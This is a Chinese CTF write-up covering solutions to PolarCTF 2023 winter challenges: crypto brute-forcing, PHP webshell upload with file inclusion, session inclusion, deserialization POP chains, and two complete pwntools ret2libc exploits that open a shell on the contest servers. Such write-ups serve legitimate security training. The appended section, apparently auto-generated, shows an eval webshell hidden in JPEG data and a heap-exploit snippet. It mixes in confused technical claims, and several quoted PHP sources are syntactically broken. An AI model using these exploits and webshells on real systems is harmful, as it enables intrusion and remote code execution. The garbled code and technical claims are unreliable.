2023Polar CTF冬季个人挑战赛部分wp

文章分享了作者在PolarCTF比赛中的经历,涉及加密解码、Web漏洞利用(如XSS、木马和文件包含)、序列化与反序列化技巧,以及32位和64位程序的ret2libc漏洞利用技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第一次参加polarctf的比赛,做的不好,把做出来的题目wp传上来和大家分享做题方法,哪里有错还请大佬指教。

题目还能复现的,在平台上就能做

https://www.polarctf.com/#/

misc

1-1 签到喵

 

 crypto

2-5base

需要base64换表

先将j2rXjx8wSZjD根据给出的密码表进行替换成正常的base

然后base解码

 2-6AFF

仿射加密法

题目输出没给,只能爆破ab

采用爆破的方法,寻找满足的flag

这里都要转换成小写字母,因为后面ascci-65操作的

flag = "WMPTPTRGGPED"

flaglist = []

for i in flag:
    flaglist.append(ord(i) - 65)
for a in range(1, 26):
    for b in range(1, 26):
        flags = ""
        for i in flaglist:
            for j in range(0, 26):
                c = (a * j - b) % 26
                    if (c == i):
                        flags += chr(j + 65)
         print('flag{' + flags + '}')

 web

3-1 cool

3-5 ezphp

 暴露给爬虫了,联想到robots.txt

 File.php 一个文件包含

 upload.php 一个文件上传

上传一个文件名为shell.jpg,文件内容为一句话木马

然后文件包含就行

 3-6 你的马呢?

http://fb602834-16d0-4a66-ad42-cab8127f56f3.www.polarctf.com:8090/index.php?file=php://filter/read=convert.base64-encode/resource=upload.phphttp://fb602834-16d0-4a66-ad42-cab8127f56f3.www.polarctf.com:8090/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

有文件内容检测

用<?=代替<?php

上传一个文件名为shell.jpg,文件内容为一句话木马

然后文件包含就行

 3-8 phpurl

 

 这里有一个url解码操作,用burpsuite将xss进行两次url编码

 Payload: index.php?sys=%2578%2578%2573

 

 flag{5caecd63b7dca4bcee15d262eb3af4f4}

 3-10 你想逃也逃不掉

源码如下

<?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
    return preg_replace'/phtml|php3|php4|php5|aspx|gif/',''$string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
}

需要构造字符串逃逸去绕过

参数如下

 3-11 safe_include

思路:构造一句话写入session

根据 参数包含 /tmp/sess_写入值

题目源码

<?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir''/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

先进行构造参数一句话木马

再包含  ?xxs=/tmp/sess_45127ho2viath8q3602pobfu71

 成功读取flag

 3-12 苦海

反序列化,构造pop链

<?php
class User
{
    public $name;
    public $flag;
}
class FileRobot
{
    public $filename = '../flag.php';
    public $path;
}

class Surrender
{
    private $phone;
    public $promise;
}

$user = new User();
$s = new Surrender();
$f1 = new FileRobot();
$f2 = new FileRobot();
$f1->path = $f2;
$user->name = $s;
$user->name->file = ['filename' => $f1];

// 序列化和输出

echo urlencode(serialize($user));

利用如下pop:

O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3BN%3Bs%3A7%3A%22promise%22%3BN%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3BN%3B%7D

获得:hi, Welcome to Polar D&N ~ PD9waHAgDQoJJGZsYWcgPSAnZmxhZ3s2M2RkMGU5ZmJhZGQ2NjM1NDJhMmY4ZWExY2NjNjc2NX0nOw0KCT8+

Base64解密得到flag

pwn

5-4 look

32位程序,开了栈不可执行

用Ida反编译

在start函数中存在栈溢出漏洞

但程序没有可以获取shell的函数,要先泄露libc,找到system,再通过栈溢出getshell

简单的32位ret2libc

Exp:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p=remote('120.46.59.242',2141)


write_plt=0x80483E0

write_got=0x804A018

main=0x8048410


payload=b'a'*108+p32(0)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)

write_addr=u32(p.recv(4))

print(hex(write_addr))

libc_base=write_addr-0x0d44d0

bin_sh=libc_base+ 0x15912b

system=libc_base+ 0x03a950

payload=b'a'*108+p32(0)+p32(system)+p32(main)+p32(bin_sh)#+p32(bin_sh)+p32(8)

p.sendline(payload)



p.interactive()

5-10 05ret2libc_64

64位的程序,开了NX

用ida反编译

通过分析在putting函数中发现存在栈溢出漏洞

但程序没有可以获取shell的函数,要先通过泄露libc地址,来找到sytem,再通过栈核栈溢出,来执行system(“/bin/sh”)

64位的Ret2libc

EXp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=remote('120.46.59.242',2124)

puts_plt=0x4005A0 
gets_got=0x601038
pop_rdi=0x400843
main=0x400610
payload=b'a'*256+p64(0)+p64(pop_rdi)+p64(gets_got)+p64(puts_plt)+p64(main)
p.recvuntil('question:\n')
p.sendline(payload)
p.recvuntil('Maybe the answer is 0\n')
gets_got=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=gets_got- 	 	0x06ed90
bin_sh=libc_base+  	0x18ce57
system=libc_base+ 	0x0453a0

payload=b'a'*256+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(main)
p.sendline(payload)

p.interactive()

 

### 关于Polar CTF Challenges and Resources #### Polar CTF简介 Polar CTF 是一项专注于网络安全技能提升的比赛活动,涵盖了多个领域如Web安全、逆向工程、密码学以及漏洞利用(pwn)。通过这些挑战,参赛者能够学习并实践最新的攻击防御技术。 #### Web 安全挑战实例分析 在一个典型的Web安全场景中,存在一种简单的远程命令执行(RCE)漏洞[^3]。此漏洞允许攻击者通过特定参数提交恶意代码来控制服务器端的行为。例如,在给定条件下当`$_POST['yyds']`等于字符串'666'时,并且输入未匹配黑名单中的关键字,则会执行用户提供的PHP代码片段。 为了防止此类问题的发生,开发者应当采用更严格的验证机制而不是仅仅依赖正则表达式的过滤方法;同时也要注意避免直接运行未经处理过的外部数据作为脚本的一部分。 另外还有一种情况涉及到文件操作函数file_put_contents()被滥用以创建任意文件的情况[^2]。如果程序逻辑允许基于用户的请求动态生成新文档而缺乏足够的权限管理措施的话,那么就可能成为潜在的安全隐患之一。 #### PWN 类型题目解析 对于内存管理和堆溢出等方面的知识点来说非常重要的是理解如何操纵GNU C Library(Glibc) malloc/free算法下的fastbins/yellow zones等概念。比如在某次比赛中提到过可以通过两次分配相同大小的小块内存区域之后再次申请另一个稍大一点的新空间从而实现所谓的“top chunk”覆盖效果[^1]: ```python def exploit(): add(0x80,'a'*0x7f+'\n') delete(0) add(0x90,b'a'*0x8f+p64(target_addr)+b'\n') exploit() ``` 上述伪代码展示了怎样精心构造payload去影响目标进程内部结构进而达到提权或者其他目的的过程。 #### 文件上传绕过检测技巧分享 某些时候即使表面上看起来有完善的图像格式校验流程也未必完全可靠。假设我们遇到这样一个需求——需要上传一张合法的照片却隐藏着危险性的webshell内容物。此时可以考虑将实际的php后门嵌入到jpeg头部或者尾部位置而不破坏整体外观特征[^5]: ```html <!-- Hidden PHP Shell --> <?php @eval($_POST[c]); ?> ... <!-- Normal Image Data Follows Here --> FF D8 FF E0 ... ``` 这样既满足表面审查又能悄悄植入功能强大的后台接口供后续渗透测试使用。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值